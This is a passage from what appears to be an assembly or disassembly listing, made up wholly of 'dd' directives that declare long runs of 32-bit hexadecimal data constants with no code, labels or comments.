		dd 0E52F43B1h, 0F844302Ch, 0AE67048Ch, 0B279F182h, 7242DE20h
		dd 705B68AEh, 5A388864h, 82321E08h, 92BE8063h, 0A5DEAB7Ah
		dd 0C0026E4Eh, 54B54296h, 54CC84ACh, 0B770F4C1h, 0C4635F04h
		dd 0CCA21035h, 0B302DF2h, 8237025Ch, 0D7C0AF71h, 0AD22A878h
		dd 0EDF73E6Eh, 8F8BAA39h
		dd 3C712A3Dh, 0E180879h, 0F3E1E807h, 0DBB0E6D6h, 60DEF23Fh
		dd 0D413715Ch, 6C6366F5h, 0E8AFC6F0h, 47C44CAh,	9EFB46B1h
		dd 425C99EEh, 5C2A2608h, 0C0E0EDA7h, 88BC0544h,	3703D48h
		dd 0CA5A2466h, 0FB58095Bh, 582068DBh, 74F0B1B2h, 0B8916D00h
		dd 0F208C67Fh, 974F2759h, 0C4800CB5h, 0F4F16A82h, 0EB0A2487h
		dd 561A089Ch, 0BAE81053h, 0F0E90E31h, 464497Bh,	8C10125h
		dd 5E2B3278h, 3033128Ch, 0EDA3C088h, 0FB3C5490h, 0A281890Ch
		dd 4B14228Ah, 0CEE898C1h, 0E08E09C2h, 0C448FAA3h, 7505B526h
		dd 0E2253F69h, 0A78BC401h, 42D2EF8h, 0C8F0CAD2h, 0C099C432h
		dd 712A1C4Ch, 0AAA4212h, 0D60848FDh, 6408313Bh,	0CB518FBCh
		dd 3F711980h, 8930F4F3h, 3DD0F863h, 95D90FBBh, 2EE32D67h
		dd 0CB82A6F7h, 0A8F188A9h, 470BCE00h, 1E466AA3h, 0D4D723C5h
		dd 3F20B8C4h, 0CB65D400h, 8B66625Fh, 879C0BFh, 0D8319487h
		dd 480D7F00h, 6BA35971h, 0DCC807D2h, 0C0A6E641h, 2D5F6DE9h
		dd 707C152Eh, 5E767311h, 509C008Eh, 5A699A64h, 0E8D68803h
		dd 0C0532340h, 0D358E933h, 0D2F1A031h, 0D8B12761h, 74308E91h
		dd 762804B7h, 0A7ACF85Fh, 459F10A8h, 0CF08CE00h, 0A106F01Eh
		dd 8B483CEFh, 0F39459A3h, 1777609Ch, 0E64020Ah,	81B2C025h
		dd 12111848h, 0F416ED4Fh, 26C4D000h, 0D67AF9h, 69977760h
		dd 0CCCFB694h, 84DBFE01h, 2EE6136Bh, 0D46E2Bh, 6C7BA5A8h
		dd 0B28E9DB9h, 0CCFE48DCh, 9A91829Dh, 8CE17CC4h, 0C3DC1343h
		dd 0EC780087h, 983ACC03h, 9577C6h, 775E7D4h, 40514A27h
		dd 6BD9D160h, 0EC0082B5h, 90B941FFh, 16D8C7C1h,	4B09B6D0h
		dd 0AC800880h, 7344D6C9h, 0EDADB4B1h, 29FAC0C4h, 0FE002067h
		dd 0CD9F8F5Ah, 62B8DC34h, 3D5B719Eh, 424734D6h,	0B3594380h
		dd 0A0EC30C0h, 2FA80CB9h, 0EE2DE202h, 5991F662h, 0D3DE10A4h
		dd 0C5B2D4A2h, 696A30h,	8FA46B5Ch, 45D9AE37h, 40AF6C16h
		dd 0B21C7880h, 0DC5E4F0Dh, 9598C49Ch, 0AE254492h, 44644745h
		dd 8BAE60BBh, 0C4BD06E5h, 503BBA62h, 6440545Ah,	0A12EDC7Ah
		dd 6EE648E5h, 8915E700h, 0AEC0DAB9h, 86C8C09Dh,	9C90BA3h
		dd 5C8441B5h, 566402Ah,	390E6B6h, 33680362h, 593FDDF0h
		dd 52519DC6h, 7F649C24h, 0C8D81663h, 0D89617DAh, 0F6FEA158h
		dd 3ED700A9h, 5BA3382Ch, 0DC1127BDh, 0B704EED0h, 8154F69Dh
		dd 103FFB64h, 3D813A2h,	0C1701BF2h, 0FD08256h, 6B3AED52h
		dd 0BCCE4BE9h, 3045FEC4h, 97AC6699h, 0B7286485h, 37641530h
		dd 0E182008Ch, 270B6704h, 0DAFA0723h, 0C29E685Fh, 28604DEFh
		dd 4740BAF0h, 0FEB23255h, 34616D18h, 111FD29Fh,	39D8727h
		dd 0E46AB7C0h, 59A33B64h, 7F4C8B28h, 999A2CC7h,	16320059h
		dd 0D0442DA9h, 6741E27h, 0A0F1A0D0h, 593E488h, 70466FC8h
		dd 0C338C5FCh, 78D0EC58h, 0D0503C0Dh, 0A67EF05Ch, 0D1CFF4A7h
		dd 620B4480h, 3B398964h, 0FDC29643h, 1D7AF0A4h,	9C35C06Bh
		dd 6193C0F6h, 80B7EE1h,	0AB7F48h, 99E694F4h, 446B409h
		dd 85DC1569h, 0E1B0B0A6h, 74DC5B58h, 0E551B269h, 603BE4F0h
		dd 566095Fh, 0B22494FCh, 0C430945Dh, 257CA9B4h,	0EFCC4FDh
		dd 52D09B69h, 0A876BB8Fh, 5C8896D0h, 0B9650096h, 0B2F46648h
		dd 0C414E5A5h, 0E8A06884h, 0B5078C29h, 0DC41E6Bh, 11878A40h
		dd 81985AAAh, 68187240h, 8C01BC6Ch, 9E4AE360h, 24DAA9B6h
		dd 0AD14B2E8h, 6B39E010h, 33596600h, 0C14FDFF8h, 9925132Fh
		dd 0B86A1BDCh, 0ED396BE8h, 0EC828E4Ah, 5E70420Eh, 554676DCh
		dd 36899D00h, 283B098Fh, 8AEF80Ch, 5C0E839h, 16DB4962h
		dd 0E048F631h, 2DF3231h, 0B21844F3h, 0A091DC90h, 0D8C8E012h
		dd 837D34A0h, 0EC020090h, 95165914h, 76D47443h,	3E8645E0h
		dd 0AAB8F75Eh, 0A841CFADh, 6441AF6Dh, 684960FCh, 19432CBCh
		dd 907C500h, 0CF292448h, 12F70998h, 787B2AB4h, 250DCFD8h
		dd 98C1F452h, 1D6AE8D9h, 601E2C9Eh, 4EAD42C6h, 0C30A099h
		dd 0DC822Ah, 91341D2Dh,	0E99B80BAh, 1298DB72h, 0E258172Ah
		dd 0AFA121C0h, 0BA91DC15h, 8D5C4B81h, 0AD44707Fh, 29EEFA0Bh
		dd 0F8E8056Ah, 972558ACh, 0DC61ECCDh, 2C33626Dh, 6C23BE00h
		dd 43B40A45h, 1E8434B9h, 74E89E42h, 8C06F500h, 0C645C7B6h
		dd 0FD6C1004h, 0D5C2AE09h, 0D90060AAh, 4464B22Fh, 0F9078E46h
		dd 235B29B7h, 78E3CD30h, 0D9FA26D4h, 4C8B94C4h,	0CA831700h
		dd 0A9644BAAh, 0EE923Eh, 40800847h, 211E03Ah, 0B4C19C8Ch
		dd 8470C67Dh, 70886950h, 0C6E85527h, 42E65AB0h,	32D1B098h
		dd 89CE878h, 3BC465Ch, 0FA895CEFh, 0F0B16051h, 36BAA656h
		dd 0C850F54Eh, 0DE2450A4h, 2E443F44h, 84548A45h, 6BBC51h
		dd 0D3239A66h, 0E27B1EC2h, 73C03231h, 0E257CD04h, 247900C0h
		dd 2332455Ch, 49360FEFh, 0F601141Eh, 20F95406h,	0C58B65Ch
		dd 16500964h, 0ECC820B5h, 24ACCEFCh, 1A785D60h,	507319E6h
		dd 3D692270h, 0D3001F6Bh, 0F859A208h, 0BA4C88A6h, 5EE28424h
		dd 7ECA0ACh, 0D356008Ch, 9192FABBh, 0B6159487h,	2DACBA85h
		dd 7046BFEh, 925352E2h,	0F4781058h, 0E25F1E0h, 164007C5h
		dd 16591E16h, 0C408AA17h, 77B00840h, 0B51EE211h, 160512A5h
		dd 0C8C0CB10h, 34FAC02Dh, 0F71DDF36h, 6834D4A6h, 0C0C024FBh
		dd 0C49CDE48h, 11818D4h, 8E16E5B3h, 90387BC3h, 8C2CB8h
		dd 0C891970Bh, 7C3A1141h, 1B82A899h, 40AFC4ADh,	3EEC2EAEh
		dd 688083D9h, 0C8173F2Bh, 661FD3B3h, 0A749525Fh, 880017D6h
		dd 906045FDh, 2FD0D961h, 0E80005E6h, 0AC42452Bh, 0E929E260h
		dd 14FEC8F3h, 0C823CF8Fh, 4500DF26h, 4948E464h,	0E9BEA501h
		dd 851358D6h, 23642F2Eh, 271A00BBh, 0AFB607C1h,	0CE8F81Ch
		dd 93C5FBDCh, 34EC9C16h, 5B74D729h, 52536184h, 1514406Ah
		dd 0EA025F46h, 4075F300h, 436012BDh, 0D6130507h, 0B425229Dh
		dd 18BC3588h, 8D4E9E3Ah, 2A71B2C5h, 9704ACD0h, 0CE9E2E30h
		dd 0C93B9CE4h, 0A0FC0A5Ah, 0BECD7587h, 0A48196C4h, 0F50070FEh
		dd 925910D6h, 765004Ch,	3BD4FFE1h, 6A7036h, 9A049CB0h
		dd 0C398D760h, 5054D530h, 0C0E0CEF5h, 1C823968h, 845C908Dh
		dd 677C0DCh, 0E8EFEBD8h, 688FBFC1h, 0E8D89C8Bh,	9401324Bh
		dd 7599DB7h, 0A1A8912Bh, 30387C8Eh, 2EC81039h, 0E91D8858h
		dd 90C5E64Ah, 8D0940A2h, 80D8688Ah, 0F7E982Fh, 37958F18h
		dd 0B39148C0h, 0CE754E6Fh, 0C0548850h, 0BEB96914h, 8C0932Ch
		dd 4C27E13h, 0D41F6080h, 0C2F65E0Fh, 0E10054C0h, 9F159EB0h
		dd 215BACE4h, 3F88D88Fh, 4226D8C0h, 442EF14Eh, 1E15CBCh
		dd 91BDB21Ch, 79FC442Ah, 5BED20CEh, 0B043806Dh,	8C01F2A2h
		dd 3F8285D7h, 56E14009h, 0B45CE4FCh, 0B70C0C58h, 58C4D2B9h
		dd 16C9426Dh, 0D812E7F0h, 2BA2B0F3h, 3D1E6D30h,	698B0F89h
		dd 0B8E8AE42h, 1D200A19h, 39642AC4h, 1279F0h, 314AA992h
		dd 0A5AC78FAh, 44B407FEh, 24388347h, 41BC1B90h,	0A3D8AAF8h
		dd 0E92A3C00h, 0F70A203h, 5AC6045Dh, 0AA429A75h, 0C000DC6Fh
		dd 1B254A3h, 9395D8FCh,	57839828h, 6BC102A9h, 0CE3A2516h
		dd 190514F4h, 94B1F4AAh, 7BE0626Ah, 0D6C856h, 5B0FE2BEh
		dd 0DDED849h, 0D03B141Eh, 983B12D0h, 6A648B82h,	8155EBF8h
		dd 58EA898Ch, 0FE10043Ch, 9E231D76h, 93E4F90h, 87E4B18Ah
		dd 8BA00B9Ch, 0BBB03Dh,	226F80E1h, 0F8E7AC9Dh, 46149039h
		dd 8B15397Eh, 65FFDAC7h
		dd 0FD848FD4h, 70101762h, 349DDC62h, 0B822711h,	72404034h
		dd 0F001D25Dh, 5AC5514Fh, 0E1802F96h, 0F203C744h, 5C96F4A6h
		dd 54D70189h, 357FD668h, 0C2969E02h, 62531252h,	846C7408h
		dd 0D2569945h, 14FB9608h, 3FE5F05Bh, 0C0E80CADh, 0FBE953F1h
		dd 0D89CA49Ch, 0CD1D7840h, 12582A1h, 9AB0495Fh,	627E3052h
		dd 86C31808h, 4C1740D0h, 33CFBCB4h, 20D0B6E9h, 0E67DCF12h
		dd 0B52100B0h, 15318E1h, 799E5451h, 7E95C082h, 7CFB0FC7h
		dd 48FF2800h, 0B024D575h, 373C340Eh, 4442AE60h,	5A2ED0DBh
		dd 755E5B54h, 0C894CA10h, 7752C0C5h, 0D200474Fh, 861799D9h
		dd 17F4E95Fh, 0B1736B15h, 558F9B8h, 0F53F9081h,	8800CE04h
		dd 8855C056h, 8EE80667h, 915DEC05h, 349756D0h, 44D360F4h
		dd 9E0EACC6h, 0A8F0C5F2h, 8CC9EC84h, 7E11AF01h,	7734A7F8h
		dd 94BAD4DCh, 0A0699430h, 444B5D3Ah, 0F1E2A40h,	6F29804Bh
		dd 0C195E855h, 0C285B751h, 14B06239h, 0C42F40h,	0B30D9D66h
		dd 5A3E157Ah, 23443B44h, 0B555002Eh, 0FA8A7F50h, 54649C0h
		dd 7D8402Fh, 0C2C54792h, 80D3776Bh, 0E39F8179h,	7D2EBB0Bh
		dd 2EEC580Ah, 3890966h,	0A18B75BDh, 0AF8EA7F0h,	0E396C200h
		dd 0C055EA1Bh, 45B0BCE9h, 0F134CC94h, 0D2190616h, 6F481C45h
		dd 0BC23BC3Eh, 0F5C07C04h, 0B8842CE8h, 68DC92D2h, 7B182975h
		dd 0CDB67000h, 7D2F8D01h, 0BCD37AFAh, 0F0C24C60h, 427E1639h
		dd 0C18424B0h, 3D37F064h, 2961CF9Ch, 44505273h,	0AF00F8C1h
		dd 0E7A0EE0Ah, 0F8E27C2Bh, 79C07FABh, 24404FB0h, 0B441FB44h
		dd 0DEFCAA1Fh, 0A1F53041h, 83315101h, 0FDD6A8F9h, 0C2E081C9h
		dd 7BD85C0h, 0FC661F17h, 0D462E0D9h, 0B35E51E5h, 2B23543Eh
		dd 6DDD1500h, 95D38A46h, 570058C4h, 0DCE84A3Ah,	17EE485h
		dd 891047F9h, 916160ACh, 542528C8h, 8047A020h, 8D3F2B4Bh
		dd 0ED0400DAh, 1A9AAFD1h, 0C2480BB6h, 5C016E6Fh, 41E1A106h
		dd 1A0097Ch, 44787A9Eh,	0F61B2780h, 0F4015470h,	0C20B3BB0h
		dd 427E2FFAh, 2C7662C8h, 694DEF01h, 9536B470h, 32C4D0E7h
		dd 0B840F160h, 1948279Dh, 796FE16Ch, 0FAB1C5AFh, 0E214A297h
		dd 306D31BDh, 5E000B15h, 0FECBDE1Dh, 28983FAEh,	26D2164Dh
		dd 9FCF0EEh, 0A82341EFh, 8170F918h, 0D6B8F6F2h,	9E715800h
		dd 6D0C94CFh, 928A0082h, 4518E9D0h, 4200E487h, 0EFF78B16h
		dd 6050C01Bh, 4E25E15Eh, 4900F06Dh, 10E68F12h, 7639878Dh
		dd 5C28BC1Bh, 6F023946h, 0D9FBBCF6h, 3A415CD6h,	33015402h
		dd 549A2F7Bh, 0C67F12C0h, 0A7700FFBh, 2D24C34Dh, 817800A0h
		dd 5A88AEF7h, 0BEF4D4DCh, 43CE6048h, 22F0AEC2h,	618C77Fh
		dd 55615D51h, 0A83700D1h, 0F81A6D59h, 1B241712h, 0FD9164AAh
		dd 0C1D54C51h, 9E9D0C6Dh, 111B5808h, 4B17B409h,	38F4E8D9h
		dd 0ECAE01B1h, 450862ACh, 0A210238Ch, 1F3C30BBh, 0EF51FD04h
		dd 84FCDE62h, 40FCE884h, 43153AB0h, 9639165Bh, 32CB513h
		dd 89E8EDF8h, 0BD1207D2h, 0A0BCCA0Bh, 304DD62Fh, 0CF9F4460h
		dd 0CD0202AAh, 0B36A7F34h, 0B4CC1957h, 80381860h, 3614B57Eh
		dd 1D8CA51Fh, 0CD81C34Ah, 0D32C663Fh, 0C260D841h, 4E5A7200h
		dd 6C902A4Bh, 4A43B192h, 0A874748Dh, 8C01ACA0h,	937A7E0Eh
		dd 0D8F6813Ch, 0C0288AD0h, 166C2404h, 0FA63C5C7h, 5CF14809h
		dd 60BCC49Ch, 246DAF89h, 707CEDC4h, 0AF028133h,	5D7C804Dh
		dd 0DA6CE36Eh, 74D6212Fh, 62EE0031h, 0C8994AD0h, 0E0AA9DC0h
		dd 4EDC44DEh, 7EFCC881h, 80A7A83Dh, 2994190Ch, 1915077h
		dd 4F76F0C2h, 418FC358h, 83992B4h, 0EDB61679h, 4550B08Eh
		dd 0E9AB910h, 9E08DB4Ah, 269782BDh, 0F5673359h,	0A6F15001h
		dd 74813BDCh, 0C474AC5Bh, 0B64474ADh, 7467640h,	1B47BE00h
		dd 10B6D69Ch, 0E98B1500h, 0F0747FF8h, 32E54E06h, 0F4446684h
		dd 2803B23Ah, 36E9100Fh, 0A47BE070h, 56512242h,	1689BE00h
		dd 6DAB6747h, 7A480003h, 381BA8A3h, 4B2C0672h, 22169417h
		dd 147C24B1h, 2090AC97h, 50B94836h, 1F745E10h, 29715187h
		dd 0DC4C734Bh, 0E47656A3h, 2FCC6E5Eh, 16CD981h,	0B62CD8DAh
		dd 142F6041h, 4994524h,	467DB740h, 0FBB8C223h, 0C5002E62h
		dd 9C7BCC07h, 2E465C18h, 4F011C00h, 0D05AF2E4h,	780AD24Fh
		dd 68015018h, 37D45279h, 4FCAE0h, 0E77D78BAh, 2B8A44E2h
		dd 0BFF54E06h, 0F17719h, 0A3A4B688h, 2332A199h,	0ACA0C674h
		dd 0C78033CEh, 21BC906Bh, 0E809308Ah, 47E45616h, 88D41956h
		dd 90DBF5E4h, 82E0CBCEh, 0AFC1DFDDh, 0D1270200h, 9732F27Ch
		dd 0C2C72454h, 0BE808498h, 7F50E9FAh, 0D827F701h, 0FD19C061h
		dd 0E8B0403Bh, 7BA57810h, 0C623C52Eh, 91E98903h, 8E71804Fh
		dd 20804A42h, 92C55008h, 5AA68700h, 7937B2E9h, 0B0D50013h
		dd 0B389E7A2h, 0C70955FFh, 788E9944h, 5EB10034h, 0CE21B25Fh
		dd 7EF3E8D6h, 0D3C5D0C4h, 120831FEh, 38B70019h,	0C87C5B45h
		dd 7A005B08h, 3C0289CDh, 26999D0Bh, 132CAE63h, 4E14A9A2h
		dd 0FFB318A6h, 0A8CED5E0h, 0F60B2190h, 0C941D7FBh, 0B9103620h
		dd 2B4C751Fh, 0ECC30951h, 4750DE1Bh, 0E016A441h, 0E32D5F00h
		dd 82CC92DAh, 626D1A6Ch, 97985E7Ch, 4F8F38Dh, 9B64D79Fh
		dd 23943EAAh, 783C01C6h, 0C0B4C00Ah, 8603C27Dh,	68B3CA14h
		dd 7D2AC2D9h, 0C2B88C0Ah, 2E6285B9h, 8A82B4D3h,	0DEDCE6A7h
		dd 91FB00B4h, 0FFB16DC3h, 4BFC4909h, 2D50F68Eh,	0C691A097h
		dd 9DD4D80h, 4F0048ECh,	0B2F99644h, 0DCFE2EA5h,	0E147CB89h
		dd 0C0686887h, 179DEE40h, 381C1800h, 0F62B1E3Ch, 124D09DDh
		dd 0C0B1EF89h, 0A0046B9Ch, 0DF0116B6h, 546C0DB1h, 10C0B9E4h
		dd 984E31CBh, 6195D250h, 0FC7C56C4h, 171C0E29h,	0FDBCA0DEh
		dd 12699940h, 0ECAF44D2h, 0D8C09D0Ch, 400EF733h, 0E238B6F4h
		dd 0A8E0166Bh, 38A636DAh, 1CE1F24Fh, 0E1C16C6Dh, 7109AB0h
		dd 0C634DDB0h, 6222274Ah, 0C9E47068h, 0BC102D88h, 0E39D7184h
		dd 0A0D9A104h, 5CE61F7Ah, 1E59AA1Dh, 0A415AF17h, 7037EE45h
		dd 7020904Ah, 2BDF4617h, 0BC68548Dh, 74F0E6DEh,	0BA012946h
		dd 647798EBh, 0D2A3ED55h, 643FC56h, 4A9988C2h, 13A002EEh
		dd 0BF9D195h, 0DE041957h, 0D8BDB180h, 93C37E67h, 0E5B4F900h
		dd 58711E5Dh, 0F8330044h, 9D7384E8h, 80EB9161h,	1FCC6621h
		dd 1FC8C613h, 71BFBE8h,	41039858h, 39B670AEh, 83173B20h
		dd 0EFF38F4Dh, 609BD047h, 786E0069h, 342B9CC1h,	9403CEACh
		dd 1567A9B4h, 0AE1AE090h, 4C85B72Dh, 38F89Ah, 0C713AB33h
		dd 0C0B7526Eh, 9DC666C9h, 0A5E8420Ch, 77003EE8h, 69DBE95Fh
		dd 155CF0EAh, 0F86F642Ah, 0F0D06A2Fh, 0F2116D60h, 4BF292Fh
		dd 0FEE553Eh, 0A568C76Ch, 0B95C843Ah, 2B60084h,	0FBFE3DA0h
		dd 8864B8E0h, 0AD6F71A0h, 4AD71628h, 70282E7Ch,	6E6505FFh
		dd 5088DE58h, 32BB01C5h, 0A8BC7D53h, 0EDC0D043h, 0DC0020B9h
		dd 13FEEB39h, 1340AD3Fh, 5FB44831h, 0A1266D8Fh,	0B9125CF7h
		dd 2FB6E641h, 0D9199189h, 0C4BFDC50h, 3C5AF13Ch, 3ED55C2h
		dd 0AFD4A4A1h, 0FC07208h, 941CAD42h, 8576BC34h,	4CF77BE0h
		dd 601A0227h, 711611C2h, 8C063120h, 5FF20239h, 0B50B429h
		dd 0BC95488Eh, 0FA36B1B2h, 614A67AEh, 84F04426h, 0CFF80408h
		dd 95E50E68h, 0C3FB16BCh, 842CA422h, 9D212154h,	4DF00047h
		dd 0FBC072F3h, 0ACE17180h, 5AD8BE2Fh, 5158D407h, 0A93383C8h
		dd 70915071h, 0AC1E131Fh
		dd 6D48A119h, 39AF0790h, 0C3C5C644h, 90A72032h,	9DD9FBBCh
		dd 93273804h, 83BC49Ch,	716F022Ah, 0AD6B546h, 16AE2C10h
		dd 0AE04BC6Dh, 0C0DE7984h, 4333F45Ch, 5D67E2E8h, 189CE408h
		dd 7D0F40A7h, 27108CE1h, 40A008AAh, 0FA409CF3h,	1E018869h
		dd 0D2CB30C4h, 1019A406h, 20D4D820h, 7F318432h,	50940855h
		dd 8CB54E01h, 8B8F520h,	0CDF740FDh, 4081EF40h, 21C4B0A4h
		dd 14CA6BBh, 3762AE40h,	38FD908h, 2019DFB0h, 7708C215h
		dd 0E523C188h, 281AEC0Ch, 84B62CCh, 56020A65h, 0EE390359h
		dd 8CCE282Ah, 10C03531h, 88CD6B3h, 88B1FCBFh, 0C55A20C4h
		dd 0A5D9980Ch, 0A87A4A40h, 802FFA84h, 8C68DCEh,	5518BCE6h
		dd 0D7ED80AEh, 998C1801h, 5349DD10h, 61FC06EEh,	3102F420h
		dd 0FF10B092h, 53B80132h, 0FB8C088Ch, 10C421A9h, 10CBE66h
		dd 98FB2641h, 9229EB08h, 0C4CD802Eh, 0C58A4080h, 4C3E9A10h
		dd 4D082CDCh, 0A8864440h, 80F9FEB0h, 10CA4637h,	6D98C8C8h
		dd 0D83A3C51h, 4C02A909h, 8131F680h, 0DD218CBEh, 40950845h
		dd 2B40A749h, 0CC384019h, 0A9B11140h, 99B9D8C0h, 1A5492A0h
		dd 84A8A2C0h, 28C4EDE3h, 66043510h, 0B749061Dh,	69CC6218h
		dd 0E0033CF9h, 651810B6h, 6C442484h, 0C7413499h, 0A9B00424h
		dd 198CFDE8h, 0BB0891CEh, 40A81B40h, 0A892125Ch, 8A77737h
		dd 488ACC0Ah, 0DC909C23h, 8DB0818h, 1480F467h, 4DBC80ECh
		dd 830728C6h, 1EBA2008h, 0AC80B27Bh, 2228C9D8h,	0C9A79026h
		dd 14940B54h, 20E05B49h, 0C6B4FCE2h, 183F4D08h,	20C3ED20h
		dd 1FFAFB69h, 7425EB81h, 70B118FBh, 341C20E8h, 39981581h
		dd 50BBA940h, 69887981h, 0B408D67Ch, 0A2D7088Ch, 0F810B090h
		dd 0E4552456h, 15B17588h, 9F2284C1h, 6CA82654h,	7110A962h
		dd 0E337025Dh, 2580502h, 0CC4A18C1h, 0A99800A6h, 0BB093962h
		dd 0A8A5038Fh, 61253831h, 47013A80h, 27088C60h,	0C4EA18B9h
		dd 422C461h, 0A41F9030h, 8E6D8CA0h, 0C0401110h,	77A912CCh
		dd 0CB14A419h, 6D62C209h, 783CD0EBh, 5AA18B3h, 33E710E8h
		dd 2FD83900h, 0F8C43157h, 4A0E4B14h, 7946620h, 0F0F1C2A2h
		dd 639A845Ch, 0F0F8D94Ah, 2C913D74h, 0D6B8D8h, 9C555998h
		dd 0D23B1880h, 10C01E5Ah, 4557B1C0h, 1EBA6C72h,	1FD1310Eh
		dd 520C3C6Bh, 80702012h, 102DC602h, 0C1D6B97Eh,	0F6CA6474h
		dd 54B10554h, 116C8862h, 0FA20AB60h, 33CC70h, 0C2BBF74Ah
		dd 1DDEA35Ah, 6AB61F00h, 0C6FB2465h, 835C0042h,	854F59F3h
		dd 7D060471h, 480DB90Fh, 0AA6800E9h, 0D56B7211h, 0F00B2B26h
		dd 58A65194h, 18451F28h, 4F9281CDh, 828F0F16h, 0ECFCF188h
		dd 805CE415h, 187A4F91h, 38F73451h, 0CD783FDBh,	10C9B730h
		dd 4A30FE6Bh, 544A8DDh,	6DEC4204h, 9C512003h, 5739091Fh
		dd 1468A7CDh, 0AB01B594h, 1618090Ch, 188787AFh,	82D792CEh
		dd 9CE94838h, 0C9A08889h, 44BA02B9h, 9882CDD8h,	1C00CF3Eh
		dd 6BE09h, 5DB2D0C8h, 76AA7BFEh, 20592C00h, 0BA4389C6h
		dd 0AED900E0h, 5EFF463Ah, 7A784CD0h, 84C6620Eh,	7BFB2560h
		dd 0A005A0A8h, 4C909716h, 70806180h, 0C07C4540h, 420CB410h
		dd 6C74DE09h, 0BC60B0C8h, 40BCA854h, 900CC28Eh,	0C819CD37h
		dd 412412DCh, 6F3440C6h, 67C2B8CCh, 545A2D4Fh, 0A40AD558h
		dd 0E9294C0Ch, 83F8215Ch, 1FBCB664h, 0D44EB990h, 310120B0h
		dd 0A2646752h, 5220BB7Eh, 168A50C4h, 686343E2h,	0FDF9E910h
		dd 7698281Dh, 1CF78528h, 5FAC4F29h, 82580C61h, 0B256B148h
		dd 0F03841DCh, 124C415Ah, 793A00A7h, 69CCA57Ah,	0CA7202h
		dd 0FEE93989h, 0C494A4A2h, 7112AC00h, 189AA8C3h, 0AE530324h
		dd 1C4CBCB5h, 11DD1900h, 562EFA4Dh, 16150C67h, 0F778AE01h
		dd 0BC88A0A0h, 78EC6414h, 1CEF056Ch, 0AC00AB68h, 0BBE8917h
		dd 0EAD90EB1h, 0C6016C39h, 478A63FAh, 0E85D2ECh, 4274B4A0h
		dd 450064FEh, 0C39266C8h, 0CEA204h, 48B42522h, 0DE3B796Ah
		dd 64656105h, 0B85D1493h, 0EE4109h, 0CC47DB90h,	0F9620EA1h
		dd 0A03236DFh, 0FB026B4Ch, 1D6FC9DAh, 82B048F7h, 5389F4C2h
		dd 0E100A4AEh, 911F2DA9h, 1C01DE4Fh, 0CDD1E41h,	22FD5FBh
		dd 98161408h, 0F10A6878h, 7C624F39h, 503E900h, 2D58BB9Ch
		dd 3084AC64h, 174881ABh, 0CEC421B6h, 0EC5BD499h, 97B099F5h
		dd 0B3AE920Ch, 48681116h, 8381E0FAh, 34B09151h,	8B0F7B20h
		dd 0ABB2B9h, 35C67FB4h,	0AFC32510h, 4ED4C0A1h, 4454DAFBh
		dd 4AD21100h, 0EC391853h, 2602F4EDh, 408EFAh, 0DB493A07h
		dd 2538B86Dh, 1A7D09ABh, 0ED88A29Ch, 89230671h,	0B4FCB728h
		dd 0D5482490h, 48F73E80h, 0DD72844Ch, 90EFA088h, 9798138Ch
		dd 16583070h, 10C57C5Eh, 0B84044ABh, 51907143h,	0E0AC6096h
		dd 0A77C5A33h, 40FA6B00h, 0CBAEC302h, 8C9600E1h, 1C694BDEh
		dd 0E048CC24h, 7E510CD0h, 93C33806h, 7B422D8h, 0E21F87Dh
		dd 70336616h, 8A5E48h, 8C3A4C6Fh, 1E7138D9h, 5DE9529Ah
		dd 61548F9Dh, 0FB51053Ch, 96149899h, 4080FF5Fh,	5577168Ch
		dd 63ECF874h, 996F0B86h, 347CEA64h, 0F3818A1Eh,	0C2CA7DF9h
		dd 0B16C2820h, 84544A2Ch, 0D00A88D0h, 0A5CD27C4h, 717A447Fh
		dd 806F0B38h, 6EECE72Ch, 120D744Ch, 444651E6h, 88036504h
		dd 0F5F98810h, 258453Ah, 0A00F7E08h, 0E5C4E480h, 641B720Ch
		dd 0F0A092B3h, 6FF169Eh, 0F6FA9B5Ch, 6C1D28D1h,	5A6F5275h
		dd 89AE1C7Ch, 814300A8h, 160811B8h, 0A0C1F760h,	0B23D1h
		dd 13F36DD3h, 16EF391Ah, 0ACC7FB5Ah, 0D1D0A2A9h, 94320928h
		dd 1F33A8A1h, 16B424CDh, 283FEB30h, 0D306BDh, 283470E0h
		dd 0EC614E6Eh, 0A25B1A00h, 962DE79Eh, 372300B4h, 0B5DE567Ch
		dd 0F46195FAh, 8C6FF3C0h, 645464D4h, 0C7E1E81Eh, 82D5640Ch
		dd 884B9DE0h, 0C35B2EA8h, 0EC63AA00h, 0B0163921h, 0D480C189h
		dd 0CA622692h, 8EC79FC1h, 82861530h, 728164EEh,	123AEC18h
		dd 4052168Bh, 4FD26B64h, 0D448C52Dh, 0FAC40480h, 18C046DCh
		dd 9A8AFA3h, 0A27E67FDh, 0F0CC6F85h, 9098B780h,	1102CC9Bh
		dd 68BF64FCh, 244DB91Ch, 0BE20C87Eh, 180FA01Ah,	2468FA80h
		dd 425AC16Fh, 9FBE803h,	9E700066h, 90DDB9E8h, 0F401F07Ch
		dd 0FAC827C3h, 20AF53A5h, 0D4168CA0h, 6C375F8Ah, 95C51084h
		dd 80B0C24h, 911081E9h,	94E0C5C6h, 7A742C64h, 71568240h
		dd 7CE03C4Eh, 70E2AE95h, 65C211C7h, 0DE8E0AF0h,	4940B9B4h
		dd 0DCE8940Bh, 890BD1Eh, 14203F41h, 0E3620085h,	19A2C009h
		dd 657A990Ah, 40862EF1h, 51D7C19h, 6CFA847Eh, 59CC027h
		dd 710F3BB8h, 16960F64h, 62F82820h, 29E76BAh, 883CA12Ch
		dd 0D541FD7Bh, 479025F7h, 0CC407010h, 0A800C2C5h, 4F2272Ch
		dd 3C865DAEh, 7D8933D7h, 0A818BDBCh, 0BC90126Fh, 4899E820h
		dd 19CEF4C3h, 40105236h, 1D1E32B8h, 94002AD8h, 0BF91AD9Ah
		dd 58AE8EDAh, 66C23CAFh, 0F4C0F32Dh, 0ACB0F185h, 0C7F69917h
		dd 0A406D844h, 0B415C714h, 11C1A874h, 0E413ED47h, 0A30CA596h
		dd 302EE351h, 9A8C98E1h, 4098B054h, 922AC127h, 0D32E58B4h
		dd 628448D7h, 54D8AE4Fh, 51CD0857h, 6C2CE4D4h, 393F2E11h
		dd 0A0C62994h, 27647005h, 7FBC03FCh, 78C13F9Fh,	23108B9Ch
		dd 1648811Dh, 1C744365h, 0AC68CE61h, 326F2591h,	5D30E070h
		dd 0F8E980A2h, 1232FB01h, 0A3696474h, 40D85881h, 54F1CD7Eh
		dd 0F7C81CCh, 416E305Fh
		dd 22693C99h, 41225C04h, 0C8621018h, 9FEC31Ch, 825FAEE4h
		dd 0E009782Ah, 6373EA8h, 0BA1605FFh, 0BE3D5034h, 55A41F7Dh
